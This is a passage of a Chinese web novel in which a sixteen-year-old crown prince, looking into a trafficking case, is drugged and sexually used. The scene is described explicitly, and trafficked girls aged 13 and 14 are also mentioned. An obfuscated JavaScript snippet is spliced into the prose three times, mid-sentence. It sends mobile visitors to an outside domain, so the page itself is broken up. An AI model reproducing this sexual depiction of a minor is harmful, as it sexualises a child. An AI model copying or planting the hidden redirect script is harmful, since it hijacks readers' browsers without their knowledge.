萧玠发觉,自己开始不可控制地去想院中那口井。月光下,那口充满神秘、充满生命力的井。那口圣洁伟大、流光溢彩的井。夜色中,井水如同琉璃,四射七色虹光。在这梦幻的美丽里,萧玠只记得一点切实的东西——他记得站在井沿上,井口粗糙的质地磨在他脚掌上的感觉,像一只手心的老茧。是那只无比熟悉的手托举着他。这就解释了萧玠为什么毫无恐惧。他可能恐惧世界所有人,唯独不会恐惧那只手。 当时当刻,月亮映在井中,如同胎儿睡容,这时他听到井水咕咚声,有节奏的,啪嗒——啪嗒——啪嗒,是婴儿脚丫拍打羊水的声音。他听到自己与之相和的脉搏,那是十六年前属于他自己的胎动。他看着那孩子睁开眼睛,水中他双目美如沉璧。他伸出小手,努力探向水面,要与萧玠的指尖相触—— “三哥。”萧玠转过头,虞闻道看到,他眼中的光芒无比冷静。萧玠说:“你今晚别走,好不好?你看着我。阿子太小了,得有一个能制住我的人看着我。” “好。”虞闻道握住他的手,“还要臣做什么?” 萧玠说:“我给你个方子,你让阿子去煎,你别离开。夜间把门栓死,把利器都收起来,如果我夜间……走动,你别怕,我估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566390|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会就会再睡觉。我如果没有什么过激举动,别惊动陛下。还有。” “院中有口井,你让阿子叫几个人,找块青石板盖上。” 虞闻道发现,萧玠的目光一直落在自己身后,他扭头看去,什么都没有。 萧玠笑了笑,眼神还是空空的,“那现在,你陪我说说话吧,说什么都好。但……别松开我的手。” 虞闻道没说话,把五根手指插进他的指缝。这么握了一会,虞闻道说:“殿下前一段不是托臣查长青散吗?陛下说的红眼参的确是一味,而且陛下求药的事,臣向家父求证过,的确是事实。” 萧玠问:“真的?” “臣刚同殿下击过掌的。” 他眼看萧玠眼中光彩渐渐暗淡,忙搜肠刮肚,找些别的话:“这药的确有奇效,据说不是中原的方子,而是南地宗族的一种药蛊。既是药蛊,那肯定有说法,要专门的器具和时辰来熬煮也是有的。殿下既吃着见效,陛下的心力也没有白费。” 他握紧萧玠的手,“殿下,不论如何,总有一个人,全心全意盼望你长命百岁。有人这样如珠如宝地对待你,这世间,就不算没有留恋。” 萧玠冲他笑一笑,“我知道的。” 这一夜,萧玠还是梦到那口井,像再现那个跳井的夜晚。他站在井上,井底明月如婴儿,向他伸出手指。 萧玠俯身,要把指尖伸过去。在他要触碰井水的那一瞬,双脚被紧紧攥住。 井沿生出一双石头的手,牢牢握住他脚腕。萧玠认得那双手,那双手的茧子磨得他皮肤生疼。 他收回手指,双臂撑在井边,望向那婴儿。婴儿脸上,渐渐浮现出愤怒的神色。他青色的皮肤如生火焰,整口井咕嘟咕嘟热血沸腾。他嘴中发出老人的咆哮:把手给我,快把手给我! 萧玠仍盯着他,随时都能投进去一样。 一只手要抓他的身体。 一双手正握在他的脚上。 两股截然不同的巨大力量,如同水火般强烈碰撞。井水怒号,井石不语。井水竭力引诱,井石沉默坚持。终于,水中婴儿的身影消散不见,取而代之的,是一轮明月,如同冰雪,皎皎洁洁。 萧玠感到,有熔岩一样的液体涌出眼眶。他抬起头,在月光中,看到妹妹依恋祝福的笑脸。 阿兄。她呢喃。 一定要好好活着。 一定。 …… 萧玠身体一弹,睁开眼睛。 自己正合衣躺在榻上,身上盖一床薄被,手露在被外,被另一只手掌握住。两只白玉扳指卡在指间,严丝合缝。 虞闻道趴在榻边,呼吸均匀,尚未醒来。 他说不放手,真的一夜没有放手。 萧玠抬起空闲的左手,在空中停滞许久,终于落下来,把虞闻道额前蹭落的发丝轻轻拨开,像一个似有若无的抚摸。 *** “那时候,我的第一个念头是……他睡着的样子,和绥郎——也就是小郑将军——有些像。” “小郑?” “是,我当时只以为是把对郑绥的旧情投射在他身上,一些异样根本不敢细想。直到一切尘埃落定,我才明白,那时候,郑绥在我心中已经成为一个爱情的意象。他越接近郑绥,也就越接近爱情的形状。” “你放下了郑绥。” “在那时候,是。” “你爱上了他。” “如果这个案子能顺利结束,如果能再这么相处一段时间……我想,我会爱上他。” “但看来并非如此。” “每个民间故事都会有一个魔头。我们不是故事,所以我们遇到了好多个。” “每个民间故事都是爱情故事。所以,你没有爱上他吗?” 萧玠没再说话,对面蒲团上,弘斋注视他摩挲扳指的动作,也没有追问。他冲庙门抬头,萧玠也随之转脸,面向五年之后,娘娘庙前的一场大雪。 48. 第 48 章 翌日在刑部再见萧玠,崔鲲并不意外。 萧玠并非不明事理之徒,昨天反应如此之大,说明事情切中痛处。他今日再来,便是做了决定。 果然,一见崔鲲,萧玠便冲她笑道:“不知鹏英有没有用早饭,我从东宫带了些蒸点,略微吃些。” 台阶递到这里,崔鲲见好就收,“正打算上街买油饼去。既如此,臣却之不恭。” 待从厢房里坐下,虞闻道打开食盒,将两碟蒸点拿出来。萧玠要吃药,早在东宫吃过饭,如今也陪着拿了只包子,一口一口慢慢地咬。这么吃了一会,他忍不住道:“鹏英,我……” 崔鲲道:“食不言。” 萧玠应一声,继续吃包子。 等崔鲲放下筷子,萧玠便收好碗碟,浣手之后,重新在崔鲲对面坐下,郑重道:“我就昨日失态,向卿致歉。” 崔鲲淡淡道:“雷霆雨露,俱是君恩。” 萧玠有些急,“鹏英,我真心要好好跟你说。” 虞闻道瞧瞧崔鲲,对萧玠笑道:“人家员外郎的意思是,殿下昨日的雷霆她并无芥蒂,今日的雨露,更不会推辞。再说,殿下两句话就成了雷霆,那历朝历代的皇帝一动怒,可不是天崩地坼、四海不宁?殿下是君,对咱们礼让是好事,但也不至于谨小慎微到这个地步。” 崔鲲绷不住,终于笑起来:“正是如此,殿下教诲,臣洗耳恭听。” 萧玠道:“我想卿一定疑惑,陛下为什么要我一个不通政事的太子前来旁听,而有关南秦,我为什么会有这么大的反应。” 他深深呼吸,两手反复捏紧。虞闻道看他神色,轻轻握住他右手。 这一下,似乎给了萧玠极大的力量。他反握住虞闻道的手,调整气息,缓缓道:“这件事,关乎我的身世。” 崔鲲神色一凛,虞闻道也肃然,正要起身退避,手却被人轻轻一曳。 萧玠抬头看向他,“三哥,你在这里。” 虞闻道看他一会,再度坐回他身旁。 萧玠握住手腕上的光明铜钱,低声道:“我和永怀公主……血浓于水。” “我的生母,出身南秦。” 虞闻道嘴巴微张,半晌没有合上。崔鲲也睁大眼睛,过了许久,才找到自己的声音:“永怀公主是秦公之女,那殿下的生母……是南秦贵族?” “南秦已然独立。”萧玠说,“是王族。” 南秦王族,与大梁关系匪浅,还得与今上年龄相当…… 他们脑中闪过夏苗当日萧玠面对秦温吉的异常,一切的谜团,似乎都有了答案。 怪不得太子会当众跪拜,怪不得面向皇帝,南秦政君如此冷若冰霜,怪不得十几岁的丹灵侯对素未谋面的皇帝,会有这样滔天的仇恨。 他们错会了萧玠的隐语,认为“皇太子生母”是一个女人。毕竟按常理来说,本该如此。 萧玠没有纠正。 在两人愣神之际,萧玠继续道:“鹏英,你对小秦淮并不了解。当年南秦据点中,个个都是忠心耿耿的死士,像樊百家这样没怎么受刑就开口招认的,至少我没有听说过。所以很大的可能是,有人针对我的身世做文章,想叫大梁和南秦再生裂隙,正好能得渔翁之利。” 崔鲲沉吟许久,“殿下的身世,知情者众否?” 萧玠道:“宫中的老人不少知道,但身家在陛下手中,不会轻易开口。此外,夏相公和杨相公心照不宣……当年的燕人估计也知道。” 崔鲲眉头紧蹙。 这桩宫廷秘辛,不仅事关两邦之交,前朝后宫甚至几十年前的是是非非都牵涉其中。 太棘手了。 “樊百家不是南秦人,这一点我敢打包票。而且他昨天的供词,很不对劲。”萧玠说,“文正公之死并非什么秘闻,对他自证身份没有分毫用处。他又专门讲永怀公主的事情,是想刺激我发病。” “病?” “是。”萧玠指腹卡在光明铜钱的方孔里,许久,才缓缓说,“我的精神……出过一些问题。” 崔鲲深吸口气,她嘴唇微动,虞闻道已经抢先打断:“先不说这个,殿下,咱们先看这桩案子。” 崔鲲微蹙眉头,正对上虞闻道警告的眼神。 他仍握着萧玠的手,半条手臂横在他身前,面向崔鲲,幅度很小地摇了摇头。 萧玠别无他法,只能把自己血淋淋地剖开来示诚。任何人都不能再往那胸腔里捅刀。 谁都不行。 崔鲲到底没有多讲,只说:“那就讲回这件案子——殿下认为,王云楠案的关键是什么?” 萧玠略作思索,“贪污。” 崔鲲颔首,“是,贪污。王云楠兄弟贪墨是起因,这些被拐贩的女孩是贿资,而我们不清楚的,也就是运送贿资或者说参与贪墨的同伙。” 她沉吟片刻,“殿下,当年拔除小秦淮的事,陛下有没有同你讲过?” 萧玠呼吸有些紊乱,虞闻道倒了盏热茶,推到他手边。过了片刻,萧玠道:“当年陛下关闭娼馆,小秦淮也在列。因为干系复杂,陛下不敢假手于人,专门调回潮州营前来查封。潮州营是陛下一手带出来的,主帅许仲纪也是陛下的心腹,行事又极其谨慎,如果小秦淮当年有任何异处,绝不可能瞒过陛下。” 崔鲲眉头未展。 对天子秘辛了如指掌,与京中官员交涉甚深,贪墨案查到这种地步,还能置身事外不露痕迹…… 究竟是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566391|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人? 崔鲲缓缓吐出口气:“个中关系,还需知情人见教。” 萧玠颔首,“我今日便给许将军去信,请他快马进京一趟,连同当年查封小秦淮的一应人员一起。有些问题,最好还是当面请教。” *** 萧恒和三大营筋骨相连,政事之外,私下也常有书信往来。萧玠这次没有大张旗鼓,走的是他爹自用的这条路。 许仲纪那边的回复也很快。 “许将军信中说,立即清点相关人员赶赴京城,还要我问陛下的好。”萧玠将书信放下,冲崔鲲笑道,“这件事快有眉目了。” 崔鲲笑意舒畅,“不是快有眉目,是已有眉目。” “樊百家熬不住刑,已然招供,这个月有一批新运送的女孩,暂时安置在京郊一座园子。”崔鲲将手中卷宗递过去,“这是地址。” 萧玠念道:“玉陷园。” 崔鲲见他眉头微皱,问:“有什么问题?” 萧玠摇摇头,“有些耳熟,像在哪里听过。” 崔鲲道:“玉陷园是怀帝的一座潜邸,怀帝登基后便赏赐给贺蓬莱。贺蓬莱死后,园子几经转手,看来落到了这些人手中。” 萧玠点点头,“我亲自去一趟。” 崔鲲却有些犹豫,“君子不立危墙之下,殿下还是留在刑部等候消息。” 萧玠笑道:“清扫青莲寺时我在场,这次说不定能发现什么线索。我带着太子六率,再加上世子陪同,不会有什么万一。” 虞闻道正坐在一旁捻糕吃,“哎,臣可没答应一块去。” 萧玠掉头看他,“三哥。” 崔鲲抱臂靠在书架上瞧他们,在心中倒数,还不过两个数,虞闻道便将碟子放下,捏着一块糕走到萧玠面前。 萧玠说:“我吃不得豌豆糕。” 这糕加蜜加糖,做得太甜,萧玠一吃便要咳。 虞闻道仍举着。 两人眼神来回一趟,萧玠试探张口,将糕咬住,有些惊奇,“不甜哎。” 虞闻道笑道:“城西铺子的老手艺。只加少许茉莉花蜜,不另加糖。那些多加糖的,多半是锤面的手艺不地道。臣问过太医,这糕殿下吃得,不过也要少吃。” 崔鲲倚着公案,抱臂瞧他俩。 她比当事人更早地瞧出这段感情的端倪,因此,当天的很多异样她不是没有察觉,而是统统冠以爱情之名。那块豌豆糕便不动声色地给过警示,但当那甜蜜之气涌入鼻腔时,崔鲲只以为是爱情发酵后应有的味道。第二天她才想起,爱情味苦,砒霜味甘。这时她脑中掠过当天的天色,不过晌午,已布浓云。 这样欲来的山雨之前,她居然只是提醒:“瞧着要下雨。” 49. 第 49 章 【一间厢房,四面白墙。房中有两张太师椅,一张八仙桌。桌上有两个茶杯,一把茶壶,壶嘴白汽腾腾。】 【房中很黑,只点一盏油灯。房外传来雨声。】 【一把太师椅中,坐着一个穿黑斗篷的男人。门响了,一个戴斗笠的人钻进来。到了屋里,依旧没摘斗笠。】 黑斗篷:下雨了? 斗笠人:(从另一把太师椅中坐下)下雨了,好大的雨。 黑斗篷:(倒茶,推给斗笠人)天公作美!就算皇帝快马加鞭,赶到玉陷园,早已是生米熟饭,板上钉钉!他再偏心太子,也受不住天下人的唾沫星子!(观察对方神色,皱起眉头)怎么,没有得手? 斗笠人:(拿过茶杯)没有,虞闻道及时赶到,把那两个女孩轰了出去。 黑斗篷:(突然从椅中站起)完了,完了! 斗笠人:没完!(招手让对方附耳,神秘兮兮地)那间屋子里,只有太子和虞闻道两个人。 黑斗篷:(吃惊地)你是想……? 斗笠人:是,我是想!(阴恻恻地)你说,如果大梁的太子是个龙阳,皇帝要怎么处置他,朝廷能容的下他?断了太子的根就是断了皇帝的根,这可是千载难逢的时机! 黑斗篷:(背着手,原地连转几圈,焦急地)那可是嘉国公的儿子,你算计他,你疯了? 斗笠人:(把茶杯往案上重重一墩)皇帝的儿子我都算计,还怕他区区嘉国公的儿子? 黑斗篷:(不可置信地摇头)你真的疯了,我不干了……(咆哮着)我不干了! 斗笠人:(又倒一杯热茶,施施然地)如果太子得了喘息之机,不会揪住今日之事处置你吗?你现在想脱身,晚了!还有姓虞的那小子,皇帝让他挑旗改军械的任命就要下来了。他那套章程何止减少火耗,更是短了油水。你每年靠军械刮的黄金怎么也有这个数,眼看着就要被嘉国公世子一榔头锤碎了!实打实的真金白银,我都替你肉疼。你就这么认了命,让他顺顺当当地干下去? 黑斗篷:你的意思是……? 斗笠人:(呵呵一笑)他把萧玠害了,皇帝还能让他担此重任?不把他剁碎下酒就是好的!军械改不了,银子照样流进你的钱袋子。一箭双雕的良机,我劝你考虑清楚。(看向对方,端起茶杯,一饮而尽)老兄,我提醒过你,不要轻易跟魔鬼做交易。现在,你只能跟魔鬼共沉沦了!还是好好想想,是走出这扇门送死,还是坐下来,和我商量后续安排。 黑斗篷:(踱来踱去,叹气,从椅中坐下) 斗笠人:(给黑斗篷倒茶)知会你的人,不要打草惊蛇,干柴就位,再给他们添把烈火。两个血气方刚的大小伙子,给他们留够足足的时辰。切记八个字——人多势众,七嘴八舌。务必把这件事宣扬起来,让黄发总角、街头巷尾,无所不知、无所不谈! 黑斗篷:(重重叹气)唉!那是个不错的孩子。那两个,都是不错的孩子。 斗笠人:(冷冷地)父债子还,因果有报。 黑斗篷:(端起茶杯)好吧,你还有什么嘱咐——指令? 斗笠人:(咬牙切齿地)捉贼拿赃,捉奸见双。务必抢在皇帝之前,将二人捉奸在床,这是重中之重!(阴森森地笑)我真是迫不及待要看皇帝的表情了,一定非常精彩,相当精彩! 黑斗篷:(向斗笠人举杯)好吧,好戏开场了。 斗笠人:(与黑斗篷碰杯)好戏开场了! ——幕落 【人员迅速搬动桌椅,舞台上方,吊起一块刻有“甘露殿”三个漆金大字的匾额。】 *** 甘露殿中,萧恒批着奏折,右手突然毫无征兆地痉挛一下。 案上油灯扑地熄灭了。 萧恒转头,见窗被吹开一条缝。窗外大雨皇皇,从过午一直下到深夜。 刑部那边递来消息,今天下午,太子带领人马赶往玉陷园。来回一趟路程不短,这样大的雨,只怕要在那边住一夜。 按理说,萧玠身边有足够的护卫,萧恒最该担忧的应当是他带没带够衣裳,落下今晚的药怎么办。但现在,他心慌得厉害。 没有任何原由地,不祥地。 萧恒尝试再批几页折子,那些字却忽大忽小,如何都进不了脑子。渐渐,他感觉喘不动气,并且清醒认识到,这不是由于长生对血管和心脏的压迫。 只是害怕。 他腾地从椅中站起来,秋童听见动静,也忙赶过来,看见萧恒的脸色,大吃一惊:“陛下先去躺一会,奴婢这就煎药。” 萧恒抓住他的手臂,“阿玠那边有没有消息?” 秋童安抚道:“且没有呢。若有什么事,殿下定会派人回报。陛下若不放心,奴婢遣人去问问。” 萧恒呼吸几下,还是道:“雨太大,还是等稍小些……” “陛下,陛下!” 剩下的话被殿外疾呼声和失仪的奔跑声打断。 一条人影闪进殿内,雷电降落时萧恒看清,是一个湿淋淋的尉迟松冲到面前,未卸刀剑,面如死灰。他仰脸看着萧恒,扑通一声跪在地上,嘴唇颤抖着叫道:“陛下……” “殿下……出事了。” *** 阁子门被哗啦打开时,萧玠被冷风冻地一哆嗦。 好多人……好吵……他们为什么这么盯着自己,恐惧地、惊诧地,甚至嫌恶地,像自己做了什么大逆不道的事……还有阿子,他为什么在流泪? 萧玠张了张嘴,发现自己喉咙里只能挤出怪异的呻吟。太热了,从头到脚,他想喊,想大叫,想紧紧抱住一个人攀紧一个人……他好像正在这样做。他感觉,自己浑身都在震颤,都在晃动,像大风雨中即将破碎的纸船。 嗡隆嗡隆的雨声人声各种乱七八糟的声音里,萧玠渐渐恢复了视觉。他转了转眼睛,先在头顶看到一双晃动的脚掌。脚趾蜷缩,脚背紧绷……往下,是有些抽卝搐的小腿线条……再往下,他看到一双手,一双戴着白玉扳指的手攥在那痉卝挛的双股上……是自己的手吗…… 这时候,萧玠听到一声低吼——有人压在自己身上。他在这时候恢复了部分知觉——他感觉自己的一部分拧紧了,胀得要命、痛的要命,也痒得要命。他找不到出口,像火烧也像虫子咬,只能扭着身子来躲……有棵树,有个人多好……他像紧紧抱着什么人,伸着脖子大叫却叫不出一声……那些人哭喊着,勒令着……房门重重关上,跑动声响起来……发怒声,大雨声,拍打声,喘息声…… 萧玠跌在榻上,那双手终于脱离了……他随之望去,见脱离的还有另一样,从那青紫遍布的腿面掠过,留下一条蛇一样的水痕……那感觉像在自己腿上…… 是自己的腿吗? 有人将他抱起来,从身后大力地将他抱住。在那人掀过被子盖住他之前,萧玠迷惘地往下摸了摸,像水蛇破壳时浑身包裹的黏液。 他还没明白过来,无意识地垂头,看到几个全副武装的禁卫手持长棍,将一人叉在地上。 那人赤条条的,和他一样。头发糟乱的,和他一样。神智不清地,和他一样——他两手被反剪在背后,右手掰成一个几乎扭曲的弧度—— 终于,一缕意识挤入脑中。萧玠看到了—— 白玉扳指。 和他一样。 …… “阿玠,阿玠?” 是谁……谁在叫他?是阿耶吗?阿耶来找他了! 那呼唤声带着焦急,一会模糊,一会清晰。萧玠想回应,却像被割断声带,挤不出半点声音。他张了张嘴,只发出沉在井底般咕嘟咕嘟的气泡声。 渐渐地,那人的声音越来越远,漆黑中唯一的光源也越来越远。阿耶要离开了。是因为找不到他,还是终于要放弃了? 萧玠徒劳地伸手抓了抓,看到的还是那个人的背影。 他真的要离开了,再一次。 还要追吗?还要求吗?追了求了,他会留下吗? 算了吧。 萧玠闭上眼睛,放下一直挽留的手臂。 突然。 一只手从上方降落,紧紧抓住他的手腕。 萧玠在看到他那双流泪的眼睛前,先听到他的呼唤。他那样焦急、那样痛心地叫自己的名字: “阿玠,阿玠!” 一遍又一遍。 萧玠的手指微微颤动,终于,虚虚搭住他的手腕。 萧恒坐在榻边,看着萧玠突然抓住自己的手,连声冲屏风外叫道:“太子有意识了,请太医,把太医叫来!快!!” 阿子听见消息,连滚带爬地翻出门槛冲向庭院。秋童快步赶进来时,见萧恒伏在榻上,额头贴着与萧玠十指交握的手,脊背微微颤动。 东宫鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566392|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯出入的脚步声里,太医怀抱医箱、气喘吁吁地赶到,替萧玠搭过脉,宽慰道:“发了汗就好,药毒已经拔出□□,等烧退了人就能清醒了。只是那药太过猛烈,殿下身骨单薄,一时受不住,多睡几日也是好的。这几日饮食要格外注意,清淡为上,最好先吃粥食。殿下的外伤……等退了热再敷药。” 萧恒一一应过。 秋童送太医出去,再回来见萧恒正打开那些瓶瓶罐罐,挨个看过,说:“他底下伤得厉害,这些东西不能用。他阿耶从前有一罐药膏,是个漆金小盒,在我枕头里,那个要温和许多。你回去找找。这几天的折子都送到东宫来,我住这边。” 秋童忙应一声,说:“尉迟将军在外头候着了。” 萧恒点点头,要起身,萧玠那只手仍紧紧抓着他,手指几乎要嵌进肉里。他一动,萧玠眉头便颤一颤,嘴里含糊叫些什么。 萧恒俯身,额头抵在萧玠额头上,喃喃道:“阿玠,阿爹马上回来。好孩子,阿爹马上回来……” 秋童看不得,眼泪已落下来,萧恒已轻轻抽出手臂,从一旁取过给萧玠冰额头的手巾揾了把脸,站起身时,已经毫无表情。 *** 尉迟松见到萧恒时大吃一惊。不过一夜,皇帝竟似老了十岁。但皇帝的声音依旧平稳:“查得怎么样了?” “玉陷园的来龙去脉,臣已大致清楚,特来回禀陛下。”尉迟松抱拳道,“数日前,殿下拿住一名自称小秦淮的线人,名叫樊百家。他前日招认,有一批女孩被囚在玉陷园,殿下不敢大意,亲自带了太子六率去救人。在玉陷园中,共解救女子二十三名,将要返程时,天降暴雨。” “暴雨。” “是,雨势太大,直到深夜也不见停,殿下便命众人就地休整。殿下就寝后,有两个女子潜入殿下阁中。二人名唤杏蕊、桃红,一个十三,一个十四。按她们的供词来说,她们的上头人勒令她们在殿下香炉中燃一块方香,半个时辰后……入阁侍寝。” “上头人?” “据她们所说,是个男人,穿一件黑斗篷,看不出面容。” 萧恒沉默一会,问:“香呢?” 尉迟松从怀中取出一块丝帕,奉到萧恒面前。 萧恒打开一看,见是半块烧剩的香脂,色泽粉红,膏体透明。几乎是看到此物的一瞬,萧恒的右手就颤抖起来,啪地将帕子掼在地上。 尉迟松声音艰涩:“此物名唤烈女乱,是从前娼馆……调教女孩的猛药。坊间有言,不论三贞九烈,但凡被此物催情……” 尉迟松不敢看他脸色,吞咽一下,继续道:“那两个女孩进去不久,嘉国公世子察觉不对,便赶来将人轰了出去。臣猜测世子养尊处优,并不晓得是香炉里加了东西,只怕那时候香刚点起来,他也在屋子里……” 尉迟松没有说下去。 堂中一片死寂,尉迟松垂首而立,甚至听不到萧恒的呼吸。他乍着胆子抬头,见萧恒一只手撑在案上,另一只手捂住脸,这么躬身垂头。 许久,他才听见萧恒微哑的声音:“樊百家呢?” “死了。”尉迟松叹气,“他一颗牙里镶了鱼肠囊,藏了毒药。” “那两个女孩,毒解了吗?” 尉迟松一愣,“随行的郎中给瞧过,应当没有大碍。” “叫太医再去给她们看看,若要服药,和太子的一块抓给她们。” “是。” 萧恒默了一会,又问:“消息封锁了?” “太子六率赶到时当即堵了园子,只是……” “只是什么?” “只是卫队以为殿下遇险,全部闯了进去,连同刑部的几名官员和录事也……当时,殿下和世子正……”他涩声说,“那香才燃了一半。” 尉迟松低下头,看到皇帝抵在案上的拳头开始不住颤抖。皇帝深深呼吸几下,冷声道:“传旨,谁敢妄议此事,我割了他的舌头。” 尉迟松浑身一震。 这是任何一个皇帝都会说的话。 但绝不是今上会说的话。 尉迟松不知要不要应,迟疑之间,突然听到一声哽咽:“……他才十六岁啊。” 尉迟松心口一堵,想要劝慰,皇帝已转过脸来,脊背挺直。尉迟松看到,日光照射下,他脸上挂了两道泪痕般的光芒。 皇帝说:“带虞闻道。” 50. 第 50 章 虞闻道已经很熟悉这间阁子。 他不用抬头,就知道阁中摆放一套梨木桌椅,是怀帝朝的物件,今上亲手修缮后,拨给太子读书所用。桌椅后是一架人物屏风,绘秦地光明王故事,与壁上的灵妃图像遥相呼应。屏风之后,是一张两人睡的架子床,供太子日常休憩。前不久,萧玠就拉着他的手在这里睡了一夜。他睡梦之中眉心犹蹙,一副怕惊的模样仍在眼前。 虞闻道垂着脑袋,眼光落到实处。他看到地砖之上,一道人影曳出,瘦瘦长长,如同立刀。 皇帝叫他:“嘉国公世子。” 虞闻道跪倒,头撞在地上,“臣罪该万死。” 皇帝鼻中嗤一股气,“天下哪有万死之人。” “那就请陛下……赐臣一死。” “太子现在这个样子,你倒想一死了之。” 虞闻道胸口被揪了一下,牙齿咬住嘴唇,整张脸都扭曲起来。半晌,他才问得出口:“殿下……怎么样了。” 皇帝冷声说:“你做的事情,你不知道?” 虞闻道额头仍抵在地上。有什么顺着他的睫毛滴落,很像汗水。他一动不动,皇帝也一动不动,许久,他听到皇帝重重叹一口气。 “起来吧。”皇帝指了指一旁椅子,“坐着说话。” 虞闻道爬起来,踉跄一下。在他看到皇帝苍白的面色时,皇帝也看清他死灰般的脸颊。 皇帝——萧恒尽量缓和声音:“身子好了?” “是。” “太医配的药你再吃几日,那东西有余毒,清不干净,会损肾精。” “……是。” “你一夜未归,嘉国公请旨来问过。我只说太子生病,留你在宫中侍疾。过一会秋童陪你回去,内情如何,你们父子关上门说明白。” 虞闻道沙哑道:“臣……多谢陛下体恤。” 萧恒静了一会,“虞郎,我知道,你是个好孩子。太子常同我讲起你,你教他骑马射箭,照看他、待他好,他都记在心里。” 他话音一顿,“我若说对你没有一丝怨气,是假话,但我不能怪罪你。这件事,你也是无辜受害。现在我不是皇帝,我只是萧玠的父亲,我想问问你,当日究竟是什么情形?” 虞闻道低着头,看着自己摊开的手,那只白玉扳指黏在指间,像一块干透的浊斑。 他喃喃道:“臣赶过去时,下着好大的雨。” …… 虞闻道踹开门时,先被一股浓香冲得脑子发蒙。 并不是脂粉气,甜腻得像一堆烂熟的果子,一进去,身上就是一层蜜黄的黏浆。 虞闻道捏了捏鼻梁,手还没放下来,瞳孔就猛地一缩。 竹榻上,纠缠一条花白的影子。 萧玠浑身赤条条的,手软软垂在榻边,脸上露出些痛苦神色。两个女孩跪在他身旁,一个正解罗裙,一个正把萧玠的亵裤褪至脚腕。 虞闻道天灵盖一麻,当即冲进榻边将那两个女孩提起来一捽,厉声喝道:“滚出去!” 他顾不得其他,忙去察看萧玠。萧玠额发被汗水濡湿,两眼要睁不睁,嘴唇张开,喉中挤出一串难耐之声。他脖颈努力昂起,皮肤蒙一层汗意,透出一股异样的粉红。 虞闻道忙握住他的手,叫道:“殿下,是臣,你怎么样,你哪里难受?” 萧玠喉中响了一会,用一种奇怪的调子叫他:“三哥。” 虞闻道呼吸紧起来。 室内昏暗,透入电光雨光,潮湿得像生一层滑腻的青苔。萧玠的睫毛扇动,像淋雨的燕尾。他脸颊也湿漉,像汗像泪也像其他。他呼吸潮湿着,哀求着叫:“三哥,我难受……我好难受。” 那股香气浓厚,宛如蜜糖,在萧玠身体上,浸一层水光。他光洁的手臂,微汗的胸膛,剧烈收缩的小腹,再往下…… 虞闻道喉头滚动一下,要往后退,却被一只手死死拉住,覆去。 那触感一瞬间随手掌传往全身,虞闻道遍体发麻,想丢手,手却脱离脑子控制,反而更紧。他自己不是没料理过,但这感觉完全不同。他神思并未完全漶然,几乎是他清醒地看着自己受一股邪卝火一股欲卝望驱使,从触碰,到包拢,到缓慢行动。 那有薄薄的茧层,有练字画图磨的,有摆弄军械磨的,现在萧玠像笔像剑一样地厮磨他。他一丝不苟地盯着萧玠的脸,萧玠眼睛微翻,神色迷茫地盯着房梁,他大张着嘴,这时候虞闻道肯定他唇边究竟是什么——他盯着萧玠两排牙齿间吐出的舌尖,肉红的,小巧的,平日如簧的,现在只能承载着啊啊的气声,和那叫喊不出的—— 虞闻道感觉自己和萧玠之间的空气越来越薄。他们挨得越来越近、越来越近,不知是萧玠起身还是他压下身来——或许两者都有。萧玠呼吸喷在他脸上双唇蹭在他嘴上脸颊磨在他耳廓上。他看到大颗的眼泪从萧玠眼角滚落,没入鬓角。他感觉到萧玠身下褥子黏湿的褶皱,他感到萧玠夹在他腰上,他的脚——他把脚踩在了自己下方。 一切都失控了。 在那甜腻的泉水涌向虞闻道时,萧玠身体向上一弹,精疲力竭又不知疲倦地连声叫道——三哥、三哥……三哥! …… “你先用了手。”萧恒说,像谈论案情,而不是儿子的情事。 虞闻道脸色惨白,“是。但殿下……并没有纾解许多,那时候我……臣……” 萧玠的舌卝尖探出来,水光蜿蜒,直至颈项。 “我也……” 三哥。萧玠黏声叫,三哥…… 虞闻道脸埋在双掌当中,头几乎抵在膝盖上,浑身抖若筛糠。 不知过了多久,虞闻道感到一只手落在后背,缓慢有力地摩挲他的脊梁。他哆哆嗦嗦地抬头,见萧恒站在面前,递了碗热茶给他。 虞闻道僭越地握住那只递茶的手腕,额头贴在上面,哽咽道:“陛下,殿下怎么样了……他怎么样了?” 萧恒另一只手拿过盏子,从一旁搁下。 “你想瞧瞧他吗?” 虞闻道走进屏风,身拖着腿,腿拖着脚,像个残疾。秋童已取了药膏回来,听到屏风内响起一阵压抑的哭声。秋童几乎无法置信,这个夏秋相交之际,居然有人坠入生命的隆冬。而那呕出心来的声音更像一场哀悼,为那即将到来、也再不会到来的春天。 未识男女的秋童并不明白这一切,直到他看见萧恒的脸。他熟知萧恒的表情,而萧恒熟知这感觉。 